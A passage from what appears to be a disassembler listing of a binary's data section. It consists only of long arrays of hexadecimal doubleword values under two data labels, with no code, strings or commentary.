		dd 0EC4A780Eh, 3D380C0h, 20819C5Dh, 0E0D23628h,	0A012BB28h
		dd 9045107Eh, 22E25C32h, 0F2FBF30h, 58C8E9D1h, 0FC27100h
		dd 74502187h, 0F20734D0h, 9FE86C4Eh, 0DFBB8330h, 718D19A5h
		dd 60A0C9DDh, 5A4035ACh, 48F9014Ah, 43DD6D23h, 280750Dh
		dd 78599184h, 61033E81h, 1F18388Bh, 0E364488h, 0A3EDAD03h
		dd 71884760h, 3579A02Eh, 136105B8h, 0E88E1558h,	0FA097029h
		dd 0C91963Eh, 44918139h, 0E4A38B69h, 4963C042h,	41D1D5C0h
		dd 21A23823h, 75DB30h, 48491BFCh, 303C4F3Ah, 986D9F2Ah
		dd 6C02EC9Bh, 40D6B8BCh, 844DD9BCh, 0FC70C091h,	0BB01863Fh
		dd 0CAE5CC01h, 34244BCDh, 0FB140FA3h, 3A401A9Ch, 89F04993h
		dd 0CC43CC4Ah, 0E8880EC8h, 1B9AC47h, 86085A96h,	7060CE4Dh
		dd 8B14C92Dh, 68CED13h,	200ECD5Ch, 14283038h, 73046DF1h
		dd 0FE920F00h, 5958EBEAh, 0C65D0409h, 0C2C3A48Dh, 207F7F4h
		dd 0BF8949D0h, 0E8546315h, 52F9B3E4h, 23543C37h, 0BB6F9B6h
		dd 813165C0h, 4D0E402Dh, 26F07BBh, 0E416F0h, 4A1E0512h
		dd 17938807h, 605089ADh, 27767F8h, 3808FB36h, 0B45985D0h
		dd 28154091h, 0E7008C0Dh, 0B0343332h, 0F80F4CB9h, 84B2E6EDh
		dd 34944FBCh, 4266EC81h, 78D76074h, 32E5338Bh, 70B9CC10h
		dd 506828E7h, 84031E0h,	0E56A3256h, 0DCE082A8h,	11802EABh
		dd 4A5902C2h, 61E187CDh, 229B08Ch, 0E2144C05h, 4078A407h
		dd 112342C5h, 905CD9BDh, 0F57254D4h, 7AFFEF00h,	186F0D16h
		dd 65ECD81Eh, 3F0C0824h, 9EAE60DAh, 3A898170h, 4110B4EDh
		dd 1934B19Ch, 0BABFE060h, 0E3273108h, 0E0386719h, 8CEEEE75h
		dd 0E9019713h, 135818C8h, 0C307D4E5h, 0DF985F50h, 10628C4Fh
		dd 0A0EDEB21h, 0D9825680h, 0CAAB005Fh, 0C02D9A50h, 0A09A7FC3h
		dd 22EEF898h, 0B1891588h, 0D56D078Ch, 5C28D8A7h, 0B2400B74h
		dd 348A504Eh, 62C90982h, 0C82042EFh, 388D7125h,	0C30C7CB2h
		dd 69E91273h, 11A044C4h, 5E919716h, 694D7022h, 6AF46608h
		dd 0C98CA842h, 0F970F0D9h, 0A3CA1183h, 500E099Bh, 0E9733463h
		dd 81104A0Fh, 0DA393FEh, 9FE41180h, 37DA8356h, 0ED2CC707h
		dd 41A58F9Dh, 0C04590D2h, 0CBBB884h, 10939C3Fh,	0A12E8D38h
		dd 8B42D411h, 5094AC73h, 1D09B8Fh, 8B5F033Ch, 88161828h
		dd 3713442h, 1D202C90h,	5A90029h, 3DAF8DBCh, 0E096F77h
		dd 0C055B706h, 12CB3688h, 9F50BC3h, 700E6104h, 0B854E05Eh
		dd 0F72D8894h, 6534028Fh, 4934016Dh, 62E8C58Bh,	0AA910A0h
		dd 0D1919F01h, 2473FD17h, 4CB06760h, 7006B128h,	0EDA0E20h
		dd 0A977DDC1h, 179568B9h, 68399721h, 0EBFF300h,	82081491h
		dd 0B43694E6h, 8846DC40h, 13499368h, 74A07658h,	9D8035F0h
		dd 0C2791478h, 2318BC20h, 6911B8F6h, 28414E63h,	0DD690010h
		dd 80C21687h, 9AB8331Fh, 1031A880h, 35934880h, 3680B27h
		dd 0ADFC3DB8h, 7C368E0h, 52181660h, 19CECB4Ah, 214C9A01h
		dd 0E78076A9h, 35E5330h, 0F7D4A034h, 0DDE94017h, 0C063526h
		dd 0F3D8906Bh, 85EC39h,	9BC46703h, 0A5C8BB6Eh, 0CC903A3Bh
		dd 0F82614D4h, 8B6602B4h, 0E60C0571h, 98C05418h, 0B4B9CDh
		dd 823391F1h, 4174AA74h, 9DF73A00h, 35A4D61Ah, 0E3A30103h
		dd 0C7CD6D2Ah, 602C7519h, 2B40459Ch, 0F8BC523Eh, 8C966850h
		dd 88034332h, 44684C60h, 3B01491Dh, 3D592D03h, 0A07ED741h
		dd 29E28F7Eh, 0A4444D4Eh, 91011427h, 66D5DBFh, 0BB1E44E8h
		dd 24309248h, 456264D5h, 11292261h, 0B3D5FCA0h,	0DE02862Fh
		dd 767B09EFh, 4498EA22h, 2A28A6C4h, 904ACCh, 3B73909Bh
		dd 0AEA0563Ah, 8DB4A202h, 8407A579h, 0E0D99E80h, 4C229891h
		dd 2A6912A2h, 0BD4E1040h, 144334D5h, 0F41183C3h, 91282056h
		dd 0C9A12494h, 0D4C080B4h, 430B5F81h, 6C3E6324h, 0C4EEEBC3h
		dd 5DE93800h, 9800ECE4h, 74A7E32h, 6FB18790h, 0C100905Ch
		dd 0F903F7CDh, 0D45E2709h, 820404B7h, 0BC5F342h, 33BF3F00h
		dd 0B24EE0D4h, 0C9126050h, 0A5AE836Ch, 1004574Ch, 34331861h
		dd 485AF468h, 1BAC4C31h, 4D5C98F3h, 64B10027h, 0EABA448Dh
		dd 0D0B666Dh, 20AF8BCDh, 4D693384h, 0FB50D030h,	44053472h
		dd 814024B8h, 225C8118h, 0C1419E08h, 61111399h,	498BB420h
		dd 681F4416h, 0CCAB56A3h, 0FF2DD574h, 88482204h, 0C380A436h
		dd 0AD07E826h, 0CD520D7Fh, 0F9AD12Ch, 0FC75F4BAh, 85EBB8E0h
		dd 3800C1E2h, 0DB0291Bh, 62B793A8h, 0DBAAD812h,	94468444h
		dd 64034102h, 1831508Bh, 3394710h, 54583000h, 0F076C5A6h
		dd 52FE27CAh, 0FF911817h, 79233780h, 9A3AAB1Bh,	721116CBh
		dd 4BC37830h, 50909AEEh, 0F8480C6Eh, 4C194953h,	22FD7A09h
		dd 0A79B9860h, 1830A40h, 0D5366FBBh, 30C6C50Eh,	278854B0h
		dd 8B18812h, 0F77DF500h, 97E776Fh, 0A60C05CBh, 0CA3DD091h
		dd 16C41114h, 9ED9BF03h, 27F31323h, 0D50D5905h,	18C82F97h
		dd 0AF6E2255h, 328B22h,	0DAF7B583h, 0EF922BF0h,	9A191261h
		dd 8FFC29D4h, 206000E0h, 0B6C148Ah, 9817314Ah, 78DC6171h
		dd 94775668h, 1104B17Dh, 3F186581h, 0DA82F8D1h,	60EEEFDCh
		dd 992B70F7h, 9CA020B5h, 0B413C0A5h, 7CD129BEh,	4FCCC786h
		dd 0A107608Ah, 3CF6D6C1h, 26606C4Ch, 52401C32h,	2A8BCB44h
		dd 42D4F317h, 93400471h, 630C0DEBh, 0F18AAA38h,	0B1803974h
		dd 2073A76Bh, 2C0034D2h, 6135B574h, 1756AB8Bh, 77C3C8B7h
		dd 541684A4h, 37AE1090h, 0C6FA4A1Dh, 8148CD33h,	0B094343Ch
		dd 90E02197h, 5022E515h, 0DD2F8C4Ch, 0C69B9431h, 0C1019CC6h
		dd 3EE5A5F5h, 0A450DB9Ch, 5DAD798Bh, 0CA16F00Eh, 0C82CCB12h
		dd 8E42C0FCh, 306EC8E1h, 0D3B38068h, 0F062C6CBh, 6A6F00FEh
		dd 8568F145h, 19615DA1h, 0B7B3F70h, 0E0DD802Dh,	0F814A4EEh
		dd 798C09D9h, 64298712h, 62DD3080h, 5BCA0B6h, 9698FED5h
		dd 101DE4C4h, 0B351F120h, 0BB056C18h, 0F987F736h, 18D3B903h
		dd 8416806Fh, 8E9D6F0h,	87470C98h, 0FD658948h, 74752010h
		dd 15A14904h, 80D2B486h, 22044CDh, 381BC23Ch, 0D48FB28Dh
		dd 503BFC28h, 3489C5FCh
dword_4FF844	dd 0DFA1007Ch, 0C6890002h, 89054AF0h, 8F4CE868h, 7AA51E12h
		dd 734AF8B3h, 62F58D88h, 2840132Ch, 3CA83610h, 28ADAA6h
		dd 103077CCh, 8B72CCECh, 0ED4BB49Ah, 11B5AC0Fh,	40088850h
		dd 649856FAh, 2C071924h, 9F605DE4h, 6D2361C9h, 1FE11BCh
		dd 9BC9972Bh, 8F08683h,	15B20CE8h, 0CD21FD82h, 51078099h
		dd 70804E46h, 0E4A7B4Dh, 81F9EF3Ah, 8F80CEC9h, 13B9A02Ah
		dd 0E293CB28h, 6302ACB6h, 82585F7Dh, 106C3B0h, 2EE5012Bh
		dd 0C0905848h, 8B60033Dh, 1C223046h, 0D9435Ch, 57EB6A5Ah
		dd 12055C30h, 0C3FED0CBh, 85A311FCh, 0CE37B102h, 715D7987h
		dd 2017AF6Ch, 4780FD91h, 0B23D4B9Bh, 0C312DB77h, 22ED23h
		dd 0F43049A0h, 925EEBF4h, 0CD6D0948h, 0EC9C1473h, 0C85B8A22h
		dd 9592CB40h, 90068F2h,	0DE40E05Eh, 3200A637h, 42C72E5h
		dd 0B80D103Ah, 0D95720Bh, 0CB435C2Ah, 0EB34249Ch, 0ED811E69h
		dd 0A392C008h, 0B8061238h, 81BC50Dh, 8F3709C0h,	3CC95CA5h
		dd 58C42473h, 0FC5AE2FFh, 1600984Ch, 0CCCA3684h, 0C4659715h
		dd 0B04C7857h, 0C4985622h, 900BF320h, 41677460h, 0A4F445AEh
		dd 0FE0BF358h, 0A187EBCFh, 0B05CDC8h, 0BD04193h, 0B4E5AA68h
		dd 6A6054C4h, 0BF158A07h, 18D45301h, 71880FB4h,	7AAB401Ah
		dd 93341B01h, 149CC291h, 0C80BEC2Ch, 0A411478Bh, 0BAF581h
		dd 585DDA3Eh, 3308443Ch, 5802E8F8h, 9E555657h, 8CB7EE20h
		dd 0E884F12h, 996B04F4h, 0BBC80474h, 0F018E15Fh, 92020BA3h
		dd 2FF56DC2h, 12BC5C2Bh, 6380041h, 39A99903h, 4A3CC8DDh
		dd 30554892h, 3F17C561h, 0CCB62C9h, 0C5598200h,	8D63CA04h
		dd 965A172h, 0D0089650h, 53449FE6h, 0D24C1265h,	0A4E9C438h
		dd 46781672h, 0C5640258h, 317AC942h, 5C851058h,	8FEE48C5h
		dd 2FFD5100h, 53AC8267h, 108C152Ch, 0A3C94540h,	4E89C6Fh
		dd 0B464698Bh, 48B9924Ch, 22656801h, 7478A082h,	8F081630h
		dd 605BBDB7h, 9791A441h, 8405321h, 0B63B0270h, 0A76160E8h
		dd 7E4A8F9Fh, 4D00DCCBh, 0FA17A759h, 6412C54Fh,	98F38D15h
		dd 9B3E70Ch, 60C1CC1Ch,	0A7ECBC6Ch, 84E65060h, 0F294AA52h
		dd 17CE305Ah, 28018277h, 0F34CEF76h, 998007C8h,	9FE56CFBh
		dd 8797C115h, 0C9ABE398h, 74704160h, 0AADD88E5h, 0C9F40750h
		dd 16A71A40h, 2F30305h,	4C1997F4h, 302EE847h, 0EF4B9360h
		dd 10C189E8h, 41AB9B70h, 24F461F5h, 0C891CC58h,	25C5003Ch
		dd 0B844BC88h, 797D00A6h, 7A275CDFh, 6606FA91h,	734A8C41h
		dd 0E6C1DF60h, 605D114Ch, 8790DDE0h, 0EFF2CCh, 0FF34078Bh
		dd 0ABD48C6Eh, 8B70513h, 9CCE5416h, 0CF40109Ch,	0C5B560BDh
		dd 5C1269B9h, 0FA0BFCCBh, 74065713h, 8B058916h,	30C4F3C2h
		dd 0A7BDC05Eh, 0CD9C60B9h, 918891B0h, 0C55E8052h, 954AC93Ch
		dd 7F00C096h, 4F5FC556h, 0EC6DD2BDh, 771C12Eh, 395D41BFh
		dd 420C4130h, 5B303560h, 4B997EA7h, 4CB4Eh, 48A75347h
		dd 0EEAB522Ah, 249EE6C7h, 8EC3809h, 0C804230Dh,	0B890B793h
		dd 4A4FA487h, 494D58Bh,	424951Ch, 18E216A9h, 0D3301AF2h
		dd 51E01DDh, 98F2BB07h,	5CA3EC88h, 54D89E12h, 3422F08Ah
		dd 0BFBB6C09h, 0C45942h, 58FA7CD7h, 0EC011767h,	7B750D8Fh
		dd 39C01C52h, 2020E355h, 9F908B87h, 0D4A954F1h,	0BD4E1070h
		dd 2F3493FAh, 1F918C97h, 8AA1B280h, 7404208Fh, 3B29998Bh
		dd 509110F1h, 0A75F8339h, 316EEA9Dh, 574B101Ch,	0E3490DA7h
		dd 0D4C095C8h, 582438B2h, 2A100046h, 0A080A6D2h, 1467298Eh
		dd 0FC07B5DEh, 0A6E05C24h, 5646741Ch, 0DDD51800h, 0C72E648Eh
		dd 0B1C21891h, 44B0DA09h, 99F8032Ah, 0A502FCBCh, 62C586BFh
		dd 95F0408Ch, 2768B30Ch, 1991CC95h, 575DAC8Eh, 50501E60h
		dd 0CD6F054Dh, 98A437BBh, 8836410Ch, 842E8718h,	1235F897h
		dd 3600E8A2h, 74A1ADEAh, 0E8036CA3h, 33C6A626h,	0FD0CF78h
		dd 9C8265B2h, 9FD23210h, 23451064h, 1B88284Eh, 1D761C0h
		dd 0D068539Ah, 0FD305AF2h, 0B03F3D55h, 9A390B89h, 1ED36483h
		dd 8F91F00Bh, 6900E1DDh, 0B48716C0h, 0C7F38AD0h, 0C16C0758h
		dd 0A8711422h, 0C05F3EA8h, 28CC1D86h, 0EE2932A8h, 5DFBFC90h
		dd 24C15001h, 0A7BBC9B2h, 5BE0013Fh, 2870434Eh,	8CFAE864h
		dd 5CBA9E13h, 0BC550404h, 0A4C2FCECh, 988401CBh, 0A40856E0h
		dd 38E6A51Fh, 2802F87Fh, 0FA895399h, 605840E3h,	334086E8h
		dd 6886514Eh, 0BD14C43h, 108C3E19h, 6C110440h, 9F6250B4h
		dd 0A18501F5h, 0D4132F4Eh, 4F86C005h, 0C8CDDC4Bh, 3A0D4ECh
		dd 0E60BE1Ch, 64E0A7E9h, 262C895Eh, 7B00AC93h, 0A5E45D2Ah
		dd 10A8C391h, 0DACFBF92h, 34442DD8h, 0FDB5B900h, 0B46EB7ECh
		dd 6D3303F9h, 5F4FC8BBh, 24CE4810h, 0B2D73E16h,	301DF224h
		dd 141E11DBh, 0CD02BD4Dh, 41C2919Dh, 96AFB04h, 0B0478954h
		dd 217F1864h, 91A67818h, 6937D904h, 94A8139Bh, 46F5C1Ch
		dd 0E8ED8730h, 7F4C176Ch, 6C497016h, 3198517Bh,	80A9710h
		dd 33E104F5h, 0F927CD99h, 1F32734h, 9F9E6818h, 438060FEh
		dd 0F6EF25C3h, 919F5838h, 0CD0DD304h, 40A8112Fh, 0E36A12h
		dd 0A0440210h, 0E50C47BBh, 211457CCh, 1A6F2768h, 34B1FC82h
		dd 4827282Ah, 5136FB8h,	0F4D3836Dh, 0A5C8D8F7h,	2DB8702h
		dd 0A014EFBFh, 8DA12BE8h, 0ECA29520h, 560FDA59h, 8F198019h
		dd 0CD12A476h, 0D2344751h, 0F20160D5h, 0DF002FBEh, 12F664B6h
		dd 263999D4h, 38A0400Ch, 2B6F3967h, 0B410D589h,	49C9C8F3h
		dd 99E0813Fh, 70931CB5h, 15C109A0h, 0A94E3C43h,	184D0CEh
		dd 0E6C23740h, 6F787Dh,	83252E50h, 0A368DBCAh, 0A459AB28h
		dd 0A484A892h, 1417820h, 0A5DDC144h, 8B3269D3h,	60E48E30h
		dd 80FB0C54h, 0B60104C0h, 0E75256C6h, 0E4511BD4h, 54680370h
		dd 229CAF81h, 11C9C4D8h, 6C88664Bh, 0B480B2BCh,	9BCAC08Ch
		dd 60BC16E7h, 0CCA36092h, 743059E2h, 0EDCB070Bh, 61A56F19h
		dd 441465A1h, 0E24024B4h, 301DF2D0h, 23021BDBh,	7011E6FDh
		dd 0E0304371h, 0B32A885Fh, 6C64272Ch, 923C7000h, 0BE40AB51h
		dd 9EF50014h, 4CC276DBh, 0BC90083Fh, 439B7012h,	0B274A454h
		dd 0B8D92510h, 30652428h, 2EF0064Fh, 0D914B168h, 4B041817h
		dd 87306263h, 0F3033844h, 6F52FFF6h, 2CB6C411h,	0EF06A5Ah
		dd 0E76EB0E7h, 9CC2D95Dh, 0FC4A91Eh, 941C2B10h,	0B78D1490h
		dd 18D3D83Fh, 0BAD6515Bh, 7C01F300h, 407B8351h,	0D84900EEh
		dd 5AB76ACDh, 3F0FE223h, 6AFEF3D4h, 4825CC5Bh, 2E8D5938h
		dd 0C08099B3h, 3753DD6Dh, 89C0BE84h, 0F4EAC3F3h, 5E1D14C0h
		dd 3E76CD80h, 0C10101FDh, 0F823EED5h, 0B1BC6033h, 916278B2h
		dd 947E930h, 83250050h,	0D080CB16h, 60C98792h, 0CB3A2048h
		dd 0FE4E07C3h, 0BCE2CD1h, 96BFA500h, 0BB138898h, 70E1DD28h
		dd 834427CEh, 4A1B77Eh,	0F17C30F5h, 99FAC40h, 29C38D6Ch
		dd 18009C72h, 0F7D21539h, 2D26AB3Bh, 104163E5h,	95DD99Fh
		dd 60258001h, 9B101829h, 188F3E0Bh, 3319572Dh, 0DEB90916h
		dd 58908E4Fh, 0A57C992Bh, 0B308AC99h, 0B254128Ah, 45F500C8h
		dd 0CB82C872h, 4867FDAh, 39790D24h, 60980012h, 0B838B501h
		dd 493405B4h, 50F90FA3h, 4727E48Ch, 0F8F84042h,	3D3F405h
		dd 4CD15581h, 0AC30C6CAh, 0C21840C5h, 91B89D9Dh, 85BDFCBDh
		dd 0A36935E1h, 123074F2h, 2434085Bh, 5420EE96h,	1EFAA588h
		dd 0C06CCAB7h, 0EC736B1Dh
		dd 0DFF2F8ABh, 3708D302h, 50AF8BC9h, 6561012Ch,	0F455EF0Ah
		dd 0E7E52h, 88344CFDh, 99BF2431h, 6384BC48h, 7110F9Bh
		dd 9D5798Bh, 2DDEA047h,	63A2582h, 0F52AC092h, 4358FC55h
		dd 8306748Dh, 90278B56h, 40EE1020h, 0AA3FC1B2h,	0DC365306h
		dd 3DC50871h, 807052C9h, 6A6B857h, 0E0FF4ED4h, 69256070h
		dd 2784824Dh, 0C590A00Fh, 27FC267h, 0C61E04EEh,	40D28E15h
		dd 849AA307h, 7045447Ch, 2380A09Eh, 5BA320F9h, 3EE0AC07h
		dd 0C3B116FBh, 0F83DEE4Fh, 0A8F44A24h, 592800D0h, 0ACC11590h
		dd 8D1366AAh, 1CE2FD79h, 0B489132Fh, 1E79E8F1h,	4C007018h
		dd 7263D209h, 0E268CD96h, 6197665h, 914F345Fh, 0B4283104h
		dd 0EB4CBCD0h, 37E78194h, 5DD0C796h, 95C50386h,	88A99857h
		dd 47817780h, 4989BD16h, 3D53D490h, 0DC024D6Fh,	93D78C00h
		dd 43619F8Fh, 0FBE02297h, 0D207070Fh, 98DE4E6Dh, 60EC05E4h
		dd 17866D8Fh, 972D192Ah, 0C5100B65h, 61FBE4E4h,	3E03090h
		dd 5A1258Bh, 55F1AC02h,	8851C885h, 0DF4B9B20h, 0F5EB7806h
		dd 18B90141h, 0ED37BBD9h, 0EA0E7ECh, 0B400117Bh, 724F544Bh
		dd 901A46CBh, 20972098h, 4D21C8B0h, 545C485Fh, 98640E0h
		dd 2E7028D6h, 0F5658002h, 6E078480h, 8F5F69E5h,	8821A028h
		dd 1301A311h, 78B2F188h, 0CCF505CBh, 8916D83Dh,	8D68C075h
		dd 90BF29DFh, 48A7C128h, 2440822Bh, 99D5B67h, 6909BF94h
		dd 2641F883h, 873740F8h, 4656612Fh, 5608B6F0h, 9D002146h
		dd 0DC3067EBh, 610314E0h, 6F58D5CBh, 0C0B3B43Bh, 765FF800h
		dd 0D205A21Dh, 23CD0712h, 58204CB1h, 0B8C958F3h, 4E4408D3h
		dd 0EBC03701h, 3E6A3E8Eh, 4BAA11A0h, 4B42AAF8h,	0CFC14AE0h
		dd 0A00C900Bh, 0DD988202h, 3C8C50A7h, 4E706364h, 45B44A8Ah
		dd 69C982CCh, 4CFE1B65h, 0A9C0A560h, 572927B5h,	0D0D9ECE2h
		dd 75181D79h, 86B52B17h, 27772C0Bh, 68A9EB34h, 0B2F3CD98h
		dd 0FA89030Ch, 3A8B4EE5h, 6FEB993Fh, 0D51C4091h, 1F32EE11h
		dd 0C00D16FDh, 879EC9D4h, 1F25EBA9h, 64C84741h,	0D75560F9h
		dd 0EBF209CAh, 0C3873273h, 0FFBBB145h, 83F040F0h, 3609B2B6h
		dd 9A0F476h, 79A87910h,	0C8F18FCh, 0B7574430h, 274EA7F8h
		dd 1D23D86Ah, 0C00B1DF9h, 0F4979B69h, 0C81D9FE8h, 3C801B11h
		dd 0C794A10Dh, 0C6F3FA12h, 0B78FA820h, 0DD694079h, 0EB2A9090h
		dd 0D40294F7h, 2C99266Fh, 39C2802Fh, 3F749810h,	0BD39D041h
		dd 0EB481202h, 2048423Bh, 0F4013FDh, 0F2871393h, 0E2F8173Eh
		dd 30FBF2A4h, 6B0198D4h, 8199C154h, 0B82053C5h,	8EB50Ch
		dd 0AFCDF342h, 23C34820h, 9C4B1F8h, 0ECD00356h,	0C92935Fh
		dd 42144742h, 1D184001h, 0A5300E7h, 3F78445Bh, 70F7616Ah
		dd 0EA8111D4h, 21010C6Dh, 32185A8Ch, 0C05F3FF2h, 80B40B96h
		dd 0D7C7016Dh, 0F79DD102h, 0FFFDE0F4h, 65982550h, 26705C52h
		dd 4E62C08Fh, 0BA88F74h, 3FD4A34Bh, 38ACE5BCh, 79C3E81h
		dd 85908005h, 861547DCh, 95C4924Ch, 2355A042h, 5FE68784h
		dd 5CF48CE1h, 0F8366A04h, 67C9EAEh, 60404C27h, 0D66AA92Ch
		dd 0B98CB081h, 989780BAh, 84C4924h, 0D01AB2DBh,	680355F2h
		dd 0F1E2C8F6h, 6E8EDCC8h, 6F0A6300h, 8D9A01CCh,	0DA0B906h
		dd 85F02028h, 77A3CD38h, 4E558841h, 188F5C68h, 0E48AC6C5h
		dd 4C434048h, 0F5906AD8h, 57F4BEB5h, 4E0168D2h,	0A6EDE44Ch
		dd 8205A64h, 8BB9818Dh,	308C61CCh, 588680A8h, 0C4C7840h
		dd 79FC7F2Ah, 48A195CDh, 721283ABh, 555064E4h, 0C3587CE8h
		dd 936CDB24h, 79F48902h, 0A3CA0A0Ch, 0B762347Bh, 0C1C0EA59h
		dd 719298CCh, 8004E8CCh, 0F99DA829h, 30D26E89h,	2B18674Dh
		dd 0B0B1EC8Dh, 20047050h, 8E006D08h, 6CA36BFh, 36917259h
		dd 0C1695D9Fh, 8C8C508Ch, 50649258h, 91C37B38h,	46769705h
		dd 45130CA9h, 2F488B6Ah, 801C29CCh, 769EB693h, 7DEB075Dh
		dd 4EB25F74h, 0AC8DC0FCh, 4A35BF99h, 0D8314928h, 88390132h
		dd 94E427h, 5E6BF23Ch, 0C642FA82h, 59CF621Dh, 312B1380h
		dd 0E63DAD6Fh, 52610510h, 0F01FF56Dh, 12F6A90h,	4470441Ah
		dd 2E002018h, 1D25DB1Bh, 7DD655h, 29B8BD3Ch, 0A6D47F1h
		dd 65646673h, 4B813F39h, 0FC7367CDh, 51A0AA76h,	18177914h
		dd 76F09E6h, 0F4DA43FDh, 6291BF2Dh, 37F0696Ch, 19C8304Eh
		dd 82E643C0h, 0BF870631h, 0B9B24576h, 20B8B22h,	0F03A9B11h
		dd 0FB00E503h, 90901B17h, 0E3634130h, 0F342F087h, 48E20D7Eh
		dd 0E090CF5Ah, 2CA88506h, 10542F44h, 693B0561h,	8D07F93h
		dd 99D56D5Bh, 0FD890BA4h, 78AA885h, 0F1A36840h,	3E9AEB59h
		dd 0A68C9C48h, 0C00317BCh, 64308D4Ch, 65C9121Fh, 0C33E2172h
		dd 87C3B807h, 7051DFBAh, 408DCAB0h, 0CC5730C7h,	879C8158h
		dd 3872C7EFh, 0BEC3137Ch, 5A10C0F2h, 0C6D2A73h,	0A4356302h
		dd 50CABD03h, 8B6C1C18h, 16DB82CDh, 90570CECh, 3A5BF04h
		dd 827CA28h, 0D4F00D81h, 0DF0030ABh, 1AFF10F9h,	278B56B0h
		dd 0DC029179h, 0F09205A3h, 0E000C45Ch, 8FA425F8h, 0D0CA027h
		dd 6974BFDh, 190CBFC8h,	16E8BA00h, 0A3E94A5Ch, 0F1F90087h
		dd 69D66BFAh, 4200C0C6h, 8306749Ah, 6628CEh, 882CE436h
		dd 53984CFDh, 0B4D1585Eh, 0F1940D9h, 0B18F08F0h, 0DD6D0654h
		dd 0F0B1910Bh, 99855711h, 8CFC0BC9h, 2500209Ch,	0DBCCC991h
		dd 2768434Fh, 74670B6Fh, 100A7DC2h, 0E844E60Bh,	0E4BB4203h
		dd 46A42038h, 0E5AA25B7h, 605CC484h, 0CEE114h, 1FD71B9Ah
		dd 8F5D10EAh, 60999710h, 0B2BFF312h, 0EFBB0D50h, 0C604D8D3h
		dd 3800F8A1h, 743B3470h, 3F11CA15h, 47007E04h, 726BA35Ch
		dd 0B075A958h, 7489010Dh, 73B25368h, 0E40C4063h, 6701728Fh
		dd 2E6BB345h, 5800A304h, 767869A1h, 676EB41Fh, 681FB31Fh
		dd 74C3B71Dh, 0E06A6049h, 3A72A55Ah, 78005471h,	6FB70475h
		dd 60184C76h, 6C286A7Ah, 0AC503F71h, 0AE4D7980h, 0AF47226Dh
		dd 6E5740C0h, 3E4C5626h, 48074A1h, 127775B9h, 0C07134Ah
		dd 22265FF1h, 310960C6h, 0B3807668h, 9427F079h,	0F4E5801h
		dd 52712683h, 0B34D798Fh, 0C6BF711Bh, 8AE9185Bh, 85D72E1h
		dd 546B8FBBh, 566381A2h, 38462FA4h, 13491C80h, 79B2C158h
		dd 80AE536Bh, 2B602188h, 0FD4CEE75h, 71A3E883h,	380F324Bh
		dd 7965043Fh, 0A0408240h, 55AB47h, 43603857h, 10A40922h
		dd 0B2340F01h, 8E2D6575h, 0A7DE19Dh, 17804827h,	69030152h
		dd 52943951h, 4B00663Ch, 10B44D7Ah, 0A004504Fh,	0F6B7E84h
		dd 565B8F58h, 9038C191h, 0E4F3706Fh, 6709022Ch,	0D90EB7FDh
		dd 76D08A8h, 7D0BF42Ch,	3A045993h, 30BFB0A2h, 0D2B191F0h
		dd 1BB40518h, 823CAC74h, 9EC1843h, 48C86CDAh, 9A0140FFh
		dd 0CC92B5BBh, 6FF3E190h, 3A771042h, 94A4D6AEh,	0DC502C29h
		dd 0DA1C86Ch, 8158014Bh, 69118FB1h, 0DA0725Dh, 7090363Dh
		dd 96915890h, 12604896h, 94B1EF3Ch, 17C04F0h, 3832AA7Ah
		dd 58688C39h, 0B0B1845Fh, 4AB66033h, 5F5883D1h,	8B945940h
		dd 0C48D1F21h, 46653857h, 1C2DA2B1h, 8DB26946h,	0A252421Ch
		dd 590C983Eh, 0A9288010h, 0A1BDB4B9h, 4C979166h, 18ED110Ch
		dd 0D0871516h, 57D56F18h, 0D9DCC397h, 0CC35DCC4h, 0CCE4217Bh
		dd 0CEC6D9Bh, 2874368Dh, 0DB031724h, 7F54043Dh,	5DBF421Ch
		dd 5740A45Ah, 0B0901257h, 0C97EC238h, 870AA0BCh, 2ABCAC25h
		dd 0C50A24DDh, 0B109CB34h
dword_500844	dd 4A988515h, 1CC70017h, 9194A7A0h, 0C56D1505h,	5078B057h
		dd 467409Fh, 0E78D5F03h, 18048DC8h, 45845E44h, 25DC4A2Dh
		dd 9B8FA69h, 0A77C3C2h,	6E1154F1h, 0D43D4850h, 53360441h
		dd 2D431891h, 35905B21h, 25644BC8h, 625C8556h, 484CB31Ch
		dd 0AF57C910h, 50443F2Fh, 64193CB0h, 63404270h,	1E4F2518h
		dd 9C415089h, 8407230Bh, 0C138A803h, 58CFC391h,	0EFA19C66h
		dd 20006B0Dh, 2A9C6F62h, 0E2249426h, 450777EBh,	0CD9882ABh
		dd 0C485026h, 0ECC467A0h, 0E345F848h, 210F2890h, 4C40F936h
		dd 670C9F50h, 2138CDC5h, 41BB12CBh, 830C011Ch, 92F640CAh
		dd 0F0D22918h, 2738D2EEh, 10A1AA83h, 8645BB7Ah,	296A1139h
		dd 264F0051h, 0DE61F3DAh, 0A10344D1h, 0CC4A52C9h, 49E7E8CEh
		dd 0BE04B0C6h, 568F9D04h, 6FB8B4BDh, 8380C548h,	90EE1A8Ch
		dd 0C1DA8716h, 98400120h, 634F305Eh, 0B3EBC919h, 7BD03519h
		dd 60EC4C26h, 87D4DF24h, 3F40F352h, 8998E281h, 9193C0C2h
		dd 4C085E03h, 8B3C8B6Ch, 4208076Dh, 0D0706861h,	0FFEE052Bh
		dd 0ED861515h, 0B8CCCC4Ch, 52057D97h, 0FB3CE008h, 566F9340h
		dd 0E5876648h, 78E140F0h, 0BC08FA88h, 5D878478h, 586A005Ah
		dd 30F3DD10h, 3F48FCC4h, 9D2F87CEh, 6F489873h, 0A2A3A84h
		dd 815FD83Ch, 469A8F9Ch, 0D59821BCh, 6BCD1A25h,	0BB8CD8C0h
		dd 9AD89217h, 0E85A73ACh, 0A7260C0Bh, 6771AA29h, 4022821Bh
		dd 4897F8h, 3CBDE19Fh, 706F05Ah, 1A28E5B3h, 8CB200C1h
		dd 34C942ACh, 0D27711A7h, 1630EF74h, 2E026986h,	20CF4C4Ah
		dd 8C102524h, 1D10D84Bh, 5410808Ah, 725E146Fh, 3948048Dh
		dd 4541CDC2h, 0FCB886E9h, 42748B24h, 0BCA03E61h, 355C9137h
		dd 0E173A413h, 908F70B8h, 0B7D3DE00h, 0BE0CC9C1h, 0B03D863Eh
		dd 4BDA0913h, 2C0408EFh, 1DFE54CCh, 0FA5B65h, 0F785BD67h
		dd 5A947840h, 0AEBC8841h, 31031600h, 0B10BB5C5h, 4FB61E0Dh
		dd 4C21B28Ah, 0CB871C48h, 88F059CAh, 11C3303Ch,	96D0346h
		dd 0AE8BC8Eh, 31690C05h, 211BE6D4h, 602805A8h, 0EA8BCF60h
		dd 640521D2h, 40A03E20h, 8B0CA0C3h, 2A29271Ch, 0E4544C12h
		dd 73E8040h, 4D3216FBh,	0E618049Dh, 8B141139h, 24380542h
